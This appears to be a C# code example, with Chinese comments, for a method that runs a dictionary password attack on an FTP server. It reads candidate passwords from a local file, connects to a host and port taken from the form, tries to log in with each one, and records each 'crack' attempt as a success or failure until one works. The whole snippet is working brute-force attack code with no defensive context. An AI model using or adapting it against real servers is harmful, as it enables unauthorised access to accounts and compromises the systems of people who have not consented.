예제 #1
0
        private void Start_HeckDiction()
        {
            FtpReturn_Str  = ""; //FTP返回值为null,避免前面按钮操作导致的文本出错
            StartHeck_flag = 1;  //破解flag置为1,防止跳窗“连接正常”
            StreamReader sr       = new StreamReader(@"C:\FTP\ip.txt", Encoding.Default);
            string       txt_read = sr.ReadLine();

            try
            {
                while (txt_read != null)
                {
                    Form5 client = new Form5();
                    client.SocketClient(textBox3.Text, int.Parse(textBox4.Text));
                    client.StartClient();
                    StartLogIn(txt_read);
                    if (password_flag == 1)
                    {
                        password_flag = 0;
                        listBox1.Items.Add("密码:" + txt_read + ",尝试破解成功\r\n");
                        listBox1.SelectedIndex = listBox1.Items.Count - 1;
                        break;
                    }
                    else
                    {
                        listBox1.Items.Add("密码:" + txt_read + ",尝试破解失败\r\n");
                        listBox1.SelectedIndex = listBox1.Items.Count - 1;
                    }
                    client.Close();
                    txt_read = sr.ReadLine();
                }
            }
            catch (Exception ex) { }
            MessageBox.Show("破解完毕(破解已停止)");
        }